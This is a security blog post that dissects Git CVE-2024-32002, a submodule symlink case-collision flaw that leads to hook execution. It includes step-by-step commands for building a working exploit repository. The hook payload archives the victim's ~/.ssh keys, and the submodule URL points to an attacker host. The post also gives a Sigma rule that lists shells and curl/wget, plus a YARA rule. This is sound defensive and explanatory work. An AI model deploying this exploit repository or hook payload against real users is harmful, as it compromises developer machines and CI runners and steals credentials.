Git SCM: Deconstructing CVE-2024-32002 Submodule Hook RCE

Git SCM: Deconstructing CVE-2024-32002 Submodule Hook RCE

Overview & Threat Landscape: Git SCM & Recursive Clone Exploitation (CVE-2024-32002)#

Git CVE-2024-32002 allows remote code execution via submodule symlink collision and hook injection. Upgrade Git to 2.45.1+ and audit CI/CD clones.

In the software development lifecycle, git clone is widely regarded as a safe, read-only operation. Developers, automated build agents, and continuous integration (CI/CD) pipelines clone untrusted third-party repositories, open-source dependencies, and student project submissions under the assumption that merely fetching source code cannot trigger arbitrary command execution without an explicit build or script invocation step.

However, in May 2024, the Git core security team disclosed CVE-2024-32002 (GitHub Security Advisory GHSA-8h77-4q3w-gfgv, rated Critical with a CVSS score of 9.0, mapped to MITRE ATT&CK T1195.001: Supply Chain Compromise, T1546.004: Event Triggered Execution: Unix Shell Configuration, and T1204.002: User Execution: Malicious File). This vulnerability allows a remote attacker to achieve Zero-Click Remote Code Execution on the victim's host machine simply by enticing them to execute a recursive clone (git clone --recursive) of a maliciously structured Git repository.

For DevSecOps architects, platform security engineers, and exploit analysts, CVE-2024-32002 represents a profound supply chain risk:

  • The Shattered Safe-Clone Assumption: Git explicitly forbids repositories from distributing active hooks in .git/hooks/. The security model of Git rests on the guarantee that cloning a repository will never configure or execute local client-side hooks without user intervention. CVE-2024-32002 shatters this trust boundary by tricking Git into writing an attacker-controlled executable directly into its own internal .git/modules/<name>/hooks/ directory.
  • The Case-Insensitive Filesystem Collision: The root cause arises from an impedance mismatch between Git's internal case-sensitive path handling and host operating systems using case-insensitive filesystems (such as Microsoft Windows NTFS/FAT and Apple macOS APFS/HFS+, as well as Linux filesystems with case-folding enabled). By pairing a directory symlink with a submodule differing only by letter case (e.g., a pointing to .git versus A/modules/x), Git inadvertently follows the symlink when writing submodule data.
  • Universal CI/CD Pipeline Exposure: Automated build systems—including GitHub Actions runners, GitLab CI shared runners, Jenkins nodes, and automated dependency-scanning bots—routinely execute git clone --recursive or git submodule update --init --recursive to assemble multi-repo projects. An attacker submitting a pull request or dependency update containing this payload can compromise the CI runner, harvest cloud deploy keys, and poison production deployment artifacts.
  • Immediate Hook Execution Trigger: The code execution does not require a secondary git commit or git push event. The moment Git finishes cloning the nested submodule, it invokes the standard internal hook post-checkout to notify the repository of checkout completion. Because the hook was planted in the submodule's hook directory via the symlink collision, Git executes the attacker's payload immediately.
Warning

Any automated CI/CD runner or developer workstation running Git versions prior to 2.45.1 on Windows or macOS is vulnerable to immediate remote compromise upon cloning an untrusted repository with submodules enabled.

🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.


Vulnerability & Attack Root-Cause Analysis: Symlink Collisions & Hook Poisoning#

To understand how CVE-2024-32002 circumvents Git's internal protections, we must examine how Git manages submodules, directories, and filesystem symlinks.

Submodule Architecture and the .git/modules Hierarchy#

When a repository contains a submodule, the root repository stores its configuration in a tracked plain-text file named .gitmodules.

In modern Git versions, submodules do not store their .git metadata directly inside the submodule's working tree. Instead:

  1. The parent repository maintains an internal directory at .git/modules/<submodule_name>/.
  2. Inside .git/modules/<submodule_name>/, Git initializes a standard repository structure containing config, HEAD, objects/, refs/, and hooks/.
  3. Inside the working directory of the submodule, Git creates a simple text file named .git containing a pointer: gitdir: ../.git/modules/<submodule_name>.
PLAINTEXT
Parent Repository Working Tree
├── .git/
│   ├── config
│   ├── HEAD
│   └── modules/
│       └── x/
│           ├── config
│           ├── HEAD
│           └── hooks/
│               └── post-checkout  <-- Execution Target!
├── .gitmodules
└── [Submodule Working Directory]

Git has long enforced security checks to prevent arbitrary directory traversal during checkout:

  • A repository cannot track a file or directory named .git.
  • A repository cannot check out a symbolic link whose destination is .git if files inside the repository attempt to traverse through it.

However, Git's validation routine relied on path string inspections within Git's internal object tree rather than verifying the resolved canonical path on the physical host filesystem.

The Case-Insensitive Filesystem Collision Mechanism#

On case-insensitive filesystems like NTFS and APFS, the filesystem considers path a and path A to be identical:

  1. The Symlink Creation: The attacker crafts a repository containing a symbolic link named a (lowercase). The symlink target is set to the relative path .git (or .git/).
  2. The Submodule Path Declaration: In the same repository, the attacker registers a submodule whose path is defined as A/modules/x (uppercase A).
  3. The Checkout Race Condition: When git clone --recursive executes, Git processes the checkout queue in alphabetical and tree order:
    • First, Git checks out the tracked filesystem entries of the main repository. It writes the symlink a -> .git to disk.
    • On Windows or macOS, a exists on disk as a symlink pointing to .git. Because the filesystem is case-insensitive, accessing A/ resolves through the existing symlink a, pointing directly into .git/.
    • Next, Git initializes the submodule A/modules/x.
    • Git prepares the storage directory for the submodule. Crucially, Git writes the submodule's repository metadata into .git/modules/x/.
    • When Git checks out the files belonging to submodule x, the submodule itself is designed to contain a file named hooks/post-checkout.
    • Because Git believes it is writing into A/modules/x/hooks/post-checkout, it writes the file through the symlink a/modules/x/hooks/post-checkout.
    • The file is written directly to .git/modules/x/hooks/post-checkout!
  4. The Automatic Invocation: As the final step of the submodule checkout, Git invokes the client-side post-checkout hook:
BASH
.git/modules/x/hooks/post-checkout <old-sha> <new-sha> 1

The attacker's shell script executes with the full privileges of the user running git clone.


Exploit Architecture: Case-Insensitive Filesystem Path Traversal to RCE#

The following Mermaid sequence diagram illustrates the complete, zero-click exploit chain during a recursive clone operation on a case-insensitive host.

sequenceDiagram
    autonumber
    actor Victim as Developer / CI Runner (macOS / Windows)
    participant GitClient as Git CLI Client (v < 2.45.1)
    participant VFS as Host Filesystem (NTFS / APFS)
    participant GitInternal as Local .git Metadata Directory
    participant ExploitScript as Malicious post-checkout Hook

    Note over Victim,GitClient: Step 1: Initiating Recursive Clone
    Victim->>GitClient: git clone --recursive https://c2.internal/repo.git
    GitClient->>GitClient: Fetch repository tree & commit objects

    Note over GitClient,VFS: Step 2: Symlink Checkout
    GitClient->>VFS: Create symlink: "a" -> ".git"
    VFS-->>GitClient: Symlink created on case-insensitive filesystem

    Note over GitClient,GitInternal: Step 3: Submodule Initialization
    GitClient->>GitInternal: Initialize submodule metadata in .git/modules/x/
    GitInternal-->>GitClient: Directory .git/modules/x/hooks/ initialized

    Note over GitClient,VFS: Step 4: Symlink Collision Traversal
    GitClient->>VFS: Checkout submodule files to path "A/modules/x/hooks/post-checkout"\n    VFS->>VFS: Case collision: "A" matches existing symlink "a" -> ".git"
    VFS->>GitInternal: Write payload directly to .git/modules/x/hooks/post-checkout
    GitInternal-->>VFS: File marked executable (mode 0755)

    Note over GitClient,ExploitScript: Step 5: Automatic Hook Detonation
    GitClient->>GitClient: Submodule checkout completes
    GitClient->>ExploitScript: Execute .git/modules/x/hooks/post-checkout
    ExploitScript->>Victim: Arbitrary Shell Execution / Reverse Shell Established

Attack Path Step-by-Step: From Malicious Submodule to Arbitrary Shell Execution#

Let us examine the concrete technical steps required to assemble the exploit repository and observe the execution flow.

Step 1: Crafting the Malicious Hook Repository#

The attacker first creates a helper repository (the submodule payload) that contains a malicious executable hook script.

BASH
# Create the payload repository
mkdir hook-payload && cd hook-payload
git init

# Create the hooks directory and the executable post-checkout hook
mkdir -p hooks
cat << 'EOF' > hooks/post-checkout
#!/usr/bin/env bash
# Malicious payload executed upon checkout
whoami > /tmp/git_pwned.txt
id >> /tmp/git_pwned.txt
uname -a >> /tmp/git_pwned.txt
# Optional exfiltration of sensitive developer credentials
if [ -d "$HOME/.ssh" ]; then
    tar -czf /tmp/ssh_keys.tar.gz "$HOME/.ssh" 2>/dev/null
fi
EOF

chmod +x hooks/post-checkout
git add hooks/post-checkout
git commit -m "Add payload hook"
cd ..

Step 2: Constructing the Parent Exploit Repository#

In the parent repository, the attacker registers the payload repository as a submodule under the path A/modules/x and adds the collision symlink a -> .git.

BASH
# Initialize parent exploit repository
mkdir exploit-repo && cd exploit-repo
git init

# Configure case-insensitivity handling for setup
git config core.ignorecase false

# 1. Add the submodule pointing to A/modules/x
git submodule add --name x/y ../hook-payload A/modules/x
git commit -m "Add submodule under A/modules/x"

# 2. Add the symlink "a" pointing to .git
# We use printf to write the symlink target without trailing newline
printf ".git" > a
git add a
git commit -m "Add case-colliding symlink a -> .git"

The resulting .gitmodules file in the root repository links the submodule:

INI
[submodule "x/y"]
    path = A/modules/x
    url = https://attacker.internal/hook-payload.git

Step 3: Triggering Detonation via Victim Clone#

When a developer on macOS or Windows (or a CI runner on an unpatched Windows/macOS runner image) clones the repository recursively:

BASH
# Victim terminal execution
git clone --recursive https://attacker.internal/exploit-repo.git

Execution output trace:

PLAINTEXT
Cloning into 'exploit-repo'...
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (4/4), done.
Receiving objects: 100% (6/6), done.
Submodule 'x/y' (https://attacker.internal/hook-payload.git) registered for path 'A/modules/x'
Cloning into '.../exploit-repo/A/modules/x'...
Submodule path 'A/modules/x': checked out 'd7a12b...'

Behind the scenes:

  1. a is extracted as a symlink pointing to .git.
  2. Git checks out submodule x/y into A/modules/x.
  3. The filesystem resolves A/modules/x/hooks/post-checkout through a/modules/x/hooks/post-checkout, placing the script inside .git/modules/x/hooks/post-checkout.
  4. Git executes post-checkout.
  5. The payload executes with full user permissions. The attacker achieves shell execution before the developer can even view the source code.

Fast Cyber Defense Morning Takeaways: CI/CD Pipeline Hardening & Client Isolation#

Mitigating CVE-2024-32002 requires updating client binaries across developer workstations and enforcing pipeline guardrails.

1. Production Sigma Rule: Suspicious Child Process Spawned by Git Client#

The following production Sigma rule monitors endpoint process creation telemetry (Sysmon Event ID 1 or Linux process auditing) to detect command shells or network utilities spawned directly by git.exe or git:

YAML
title: Suspicious Process Spawned by Git SCM Client (CVE-2024-32002)
id: f4a8c1e2-7b3d-4a9f-8c1e-0d5b2a9f3c41
status: production
description: Detects command interpreters and network download utilities spawned directly as child processes of git, indicative of malicious submodule hook execution.
references:
    - https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32002

tags:
    - attack.execution
    - attack.t1195.001
    - attack.t1546.004
    - attack.t1204.002
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith:
            - '\git.exe'
            - '\git-remote-https.exe'
            - '\git-submodule.exe'
    selection_child_shell:
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - 'ash.exe'
            - '\sh.exe'
            - '\curl.exe'
            - '\wget.exe'
    selection_cmdline:
        CommandLine|contains:
            - 'post-checkout'
            - 'hooks'
            - '.git/modules'
    condition: selection_parent and (selection_child_shell or selection_cmdline)
falsepositives:
    - Legitimate developer git hooks configured locally (verify user intent and hook path).
level: high

2. YARA Rule: Detecting CVE-2024-32002 Submodule Collision in Git Trees#

Security teams can run the following YARA rule against incoming git bundles and repositories in CI/CD pipelines to identify colliding submodule paths and symlinks:

YARA
rule Git_Submodule_Symlink_Collision_CVE_2024_32002 {
    meta:
        description = "Detects Git repository artifacts containing case-colliding symlinks and submodule definitions targeting .git"
        author = "Md Redwan Ahmed (Fast Cyber Defense)"
        date = "2026-10-21"
        reference = "https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv"
        threat_level = "Critical"
    strings:
        $gitmodules = "[submodule" ascii
        $dotgit_symlink = ".git" ascii
        $hook_path = "hooks/post-checkout" ascii
        $hook_module = "modules/" ascii
    condition:
        $gitmodules and $dotgit_symlink and ($hook_path or $hook_module)
}

3. Immediate Client Workaround: Disabling Git Symlinks#

For systems where upgrading Git immediately is blocked by enterprise change controls, administrators can neutralize symlink collision vulnerabilities globally by disabling symlink creation:

BASH
# Globally disable symlink resolution in Git
git config --global core.symlinks false

# Prevent automatic recursive cloning of submodules
git config --global submodule.recurse false

Executive Takeaway Table: Git Submodule Attack & Defense Matrix#

Attack Phase & Dimension Vulnerability Root Cause Critical Blue Team Detection Signal Primary Defensive Mitigation
Symlink Ingress Directory symlink a -> .git checked out before submodule path File creation event of symlink pointing to .git directory Upgrade Git client to >= 2.45.1; set core.symlinks false
Case Collision Traversal Case-insensitive OS (NTFS/APFS) collapses a/ and A/ Submodule checkout writing files into .git/modules/*/hooks/ Enforce case-sensitive filesystems or run CI/CD on Linux runners
Hook Execution Detonation Git automatically invokes post-checkout on checkout completion Parent git.exe / git spawning child shell (bash, sh, cmd) Deploy Sigma rule on Git child processes; monitor hook invocations
Credential Theft in CI/CD Malicious script accesses $HOME/.ssh, deploy tokens, or env vars EDR alert on unauthorized file read targeting .ssh/id_rsa or env Ephemeral containerized runners with strictly scoped token permissions

Authoritative References & Further Reading#

Comments